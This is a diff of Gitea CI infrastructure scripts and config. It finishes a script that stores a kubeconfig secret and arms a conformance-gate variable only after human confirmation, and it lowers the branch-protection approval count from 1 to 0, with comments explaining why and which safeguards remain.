+rm -f "${WORK}/body.json" "$KC"
+if [ "$code" != 201 ] && [ "$code" != 204 ]; then
+  # Safe to echo: the response body is Gitea's error message, not our payload. HTTP 400
+  # "invalid secret name" here means the name hit the reserved GITEA_ prefix (lesson 1).
+  die "PUT ${SECRET} failed: HTTP ${code} -- $(head -c 300 "${WORK}/put.out" 2>/dev/null)"
+fi
+info "PUT returned HTTP ${code}"
+
+# curl -sS exits 0 on an HTTP error, so the status check above is necessary but NOT
+# sufficient: read the object back. Gitea never returns secret VALUES, so this proves
+# PRESENCE BY NAME only — say so rather than implying the content was checked.
+names="$(basic "${API}/actions/secrets" | jq -rc '[.. | objects | select(has("name")) | .name] | unique')"
+grep -q "$SECRET" <<<"$names" \
+  || die "PUT reported HTTP ${code} but ${SECRET} is NOT in ${names} — refusing to claim success"
+pass "stored and VERIFIED PRESENT by read-back: ${names}"
+info "(read-back proves the secret EXISTS; Gitea never returns secret values, so its CONTENT"
+info " is proven only by the first CI run that uses it — see the NOTE below.)"
+info ""
+info "FOR WHOEVER WRITES plan §3 item 4: this secret holds the kubeconfig CONTENT, not a path."
+info "The plan's sketch writes 'kubectl --kubeconfig=\$CONFORMANCE_TRIGGER_KUBECONFIG', which"
+info "would treat it as a filename. ci/conformance.sh must write the env var into a 0600 temp"
+info "file (umask 077, trap-removed) and pass THAT path — an Actions secret is a string, so a"
+info "kubeconfig cannot reach CI any other way."
+
+# ========================================================================================
+# 6. vars.CLUSTER_AVAILABLE — the loaded gun. Only here, only on request, only confirmed.
+# ========================================================================================
+if ! $ARM; then
+  cat <<EOF
+
+==> ${VARIABLE} NOT TOUCHED (no --arm-cluster-available). This is the safe default.
+
+The secret is in place; the conformance job stays gated off until the variable is set. That
+is plan §5's order: land items 1-6, prove them, and only then flip step 7's switch.
+EOF
+else
+  step "arming vars.${VARIABLE}=true — every precondition above is green"
+  cat <<EOF
+    This makes .gitea/workflows/gate.yml's conformance job RUN on every PR. If the
+    in-cluster trigger path misbehaves, ci/conformance.sh will BLOCK (exit 1) rather than
+    fake a green — so the failure mode is loud PRs, not silent false confidence. Undo with:
+      curl -X DELETE .../repos/${OWNER}/${REPO}/actions/variables/${VARIABLE}
+EOF
+  [ -t 0 ] || die "refusing to arm ${VARIABLE} non-interactively — this needs a human confirmation"
+  printf '    Type exactly "ARM %s" to proceed: ' "$VARIABLE"
+  read -r confirm
+  [ "$confirm" = "ARM ${VARIABLE}" ] || die "not confirmed (got '${confirm}') — ${VARIABLE} unchanged. The secret IS stored."
+
+  # Gitea's variables API: POST creates, PUT updates, and the body field is `value` — NOT
+  # `data` as in the secrets API above. Try create, fall back to update. The value "true" is
+  # not a secret, so response bodies are printed here to make a failure diagnosable.
+  vcode="$(basic -o "${WORK}/var.out" -w '%{http_code}' -X POST \
+             -H 'Content-Type: application/json' --data '{"value":"true"}' \
+             "${API}/actions/variables/${VARIABLE}")"
+  if [ "$vcode" != 201 ] && [ "$vcode" != 204 ]; then
+    info "POST returned HTTP ${vcode} ($(head -c 200 "${WORK}/var.out" 2>/dev/null)); trying PUT (variable may already exist)"
+    vcode="$(basic -o "${WORK}/var.out" -w '%{http_code}' -X PUT \
+               -H 'Content-Type: application/json' \
+               --data "$(jq -n --arg n "$VARIABLE" '{name:$n,value:"true"}')" \
+               "${API}/actions/variables/${VARIABLE}")"
+  fi
+  [ "$vcode" = 201 ] || [ "$vcode" = 204 ] \
+    || die "could not set ${VARIABLE}: HTTP ${vcode} -- $(head -c 300 "${WORK}/var.out" 2>/dev/null)"
+  info "write returned HTTP ${vcode}"
+
+  # Unlike a secret, a variable's value IS readable — so verify the VALUE, not just presence.
+  # gate.yml compares `vars.CLUSTER_AVAILABLE == 'true'`, so it must be exactly "true".
+  gcode="$(basic -o "${WORK}/varget.json" -w '%{http_code}' "${API}/actions/variables/${VARIABLE}")"
+  [ "$gcode" = 200 ] || die "stored HTTP ${vcode} but GET ${VARIABLE} returned HTTP ${gcode} — refusing to claim success"
+  val="$(jq -r '.data // .value // empty' "${WORK}/varget.json")"
+  [ "$val" = "true" ] || die "${VARIABLE} reads back as '${val}', not 'true' — gate.yml compares against 'true' exactly"
+  pass "${VARIABLE}=${val} stored and VERIFIED by read-back"
+fi
+
+cat <<EOF
+
+NEXT — and none of it is proven until you watch it happen:
+  1. Open a THROWAWAY PR. Read the conformance job's LOG, not its tick: a skipped Gitea job
+     reports success ("Has been skipped"), and a green tick is not evidence anything ran.
+  2. Confirm a Job appeared in ns ${NS}, ran the touched --requirements subset, and that its
+     artifacts came back. Then break an L3 test deliberately and confirm the gate BLOCKS.
+  3. Only after seeing BOTH directions should the conformance check be added to branch
+     protection (infra/gitea/require-gate.sh's status_check_contexts).
+  4. Diary the token expiry printed above. Re-run this script to rotate; CI fails loudly
+     (401 on the trigger) rather than skipping when it lapses.
+
+ROLLBACK: DELETE the ${VARIABLE} variable (instant SKIP, gate reverts to L0/L1-only) and/or
+DELETE the ${SECRET} secret. The token itself is revoked by deleting the ${NS}/${SA}
+ServiceAccount, which Flux will recreate with a fresh identity.
+EOF

infra/gitea/expected-branch-protection.json

@@ -1,6 +1,9 @@
 {
   "_comment": "DECLARED desired state of Gitea branch protection on main. ci/gitea-settings.sh fails the merge gate when the LIVE Gitea diverges from this. Gitea settings live in Gitea database - invisible to Flux, unreadable by every other check - so this file plus that check are the only drift detection that exists for them.",
   "_generated": "2026-09-29 from the live rule, after the session that found protection OFF and zero runners for a month",
+  "_amended": "2026-10-01: required_approvals 1 -> 0. See _why_required_approvals_is_zero.",
+  "_why_required_approvals_is_zero": "The GATE is the approver (operator intent, 2026-09-29). required_approvals: 1 was never consistent with that intent: ci/approval-policy.sh's header and ci/gate.sh:194 both already described the model as 'required_approvals: 0 and the GATE decides', and infra/gitea/require-gate.sh's own closing note named the consequence of 1 -- 'Gitea will not let an author approve their own PR'. With exactly ONE collaborator (jakman85, owner), that made every PR the operator opened permanently unmergeable. Measured 2026-10-01: PR #35, gate green in 1m41s, zero reviews, no path to a merge. decisions/2026-09-30-flux-deploy-notification-inhibited.md had already flagged the 1-vs-0 disagreement as unresolved; this settles it at 0.",
+  "_what_still_holds_at_zero": "This drops the APPROVAL COUNT only. block_admin_merge_override stays TRUE and enable_status_check stays TRUE, so the required gate context still binds absolutely -- nobody, administrator included, can merge a red gate. That distinction is the whole reason this is the chosen fix rather than block_admin_merge_override: false, which would have handed admins a bypass over the gate itself and re-opened what infra/gitea/block-admin-override.sh was written to close (PRs #5-#9, merged with zero approvals). Architecturally and security-relevant paths are still reviewed, by ci/approval-policy.sh rather than by this field.",
   "branch": "main",
   "runners_online_min": 1,
   "protection": {
@@ -11,7 +14,7 @@
     "status_check_contexts": [
       "gate / gate (pull_request)"
     ],
-    "required_approvals": 1,
+    "required_approvals": 0,
     "enable_approvals_whitelist": false,
     "block_admin_merge_override": true,
     "block_on_rejected_reviews": true,

infra/gitea/require-gate.sh

@@ -34,7 +34,7 @@ jq -n '{
   enable_push: false,
   enable_status_check: true,
   status_check_contexts: ["gate / gate (pull_request)"],
-  required_approvals: 1,
+  required_approvals: 0,
   block_on_rejected_reviews: true,
   dismiss_stale_approvals: true,
   block_on_outdated_branch: false,
@@ -48,11 +48,21 @@ api "https://${HOST}/api/v1/repos/${OWNER}/${REPO}/branches/main" \
 
 cat <<'NOTE'
 
-NOTE ON required_approvals: 1 -- Gitea will not let an author approve their own PR.
-  * Agent-opened PRs (author gitea-admin) are approved by jakman85. Fine.
-  * PRs YOU open as jakman85 need gitea-admin to approve. If that is awkward, either open
-    agent work as gitea-admin and review as jakman85, or set required_approvals back to 0
-    and rely on the status check alone.
+NOTE ON required_approvals: 0 -- CHANGED FROM 1 ON 2026-10-01, and this script is the reason
+the change had to land here too: re-running it with 1 would silently re-impose the lock-out.
+
+The note that used to sit here called the problem and its own fix: "Gitea will not let an
+author approve their own PR ... if that is awkward ... set required_approvals back to 0 and
+rely on the status check alone." It was awkward. With jakman85 the ONLY collaborator, every PR
+the operator opened was unmergeable -- measured on PR #35, gate green in 1m41s, zero reviews,
+nothing that could ever satisfy the rule. So: 0, and the status check alone, as written.
+
+What did NOT change, deliberately:
+  * block_admin_merge_override stays TRUE. This drops the approval COUNT; it does not hand
+    anyone a bypass over the gate. A red gate is still unmergeable by everybody.
+  * Architecturally/security-relevant paths are still human-reviewed -- by ci/approval-policy.sh
+    (sensitive_paths in infra/gitea/approval-policy.json), which an administrator can waive
+    only by posting an explicit, attributed `/approve-override <reason>` comment.
 
 Then prove it, rather than trusting the API:
   git commit --allow-empty -m probe && git push origin main   # EXPECT: rejected